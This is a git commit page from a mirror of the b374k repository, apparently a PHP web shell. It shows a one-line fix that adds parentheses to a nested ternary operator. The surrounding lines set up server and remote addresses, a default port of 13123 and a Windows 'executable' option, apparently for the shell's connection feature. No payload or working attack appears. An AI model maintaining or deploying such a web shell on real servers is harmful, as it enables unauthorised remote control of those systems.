mirror of
https://github.com/b374k/b374k.git
synced 2024-09-13 03:03:42 +02:00
Added parentheses around stacked ternary operator
This commit is contained in:
parent
dfabccb364
commit
33f8c8d36b
1 changed files with 1 additions and 1 deletions
|
@ -1,5 +1,5 @@
|
|||
<?php
|
||||
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
|
||||
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"");
|
||||
$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
|
||||
$default_port = 13123;
|
||||
$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":"";
|
||||
|
|
Loading…
Reference in a new issue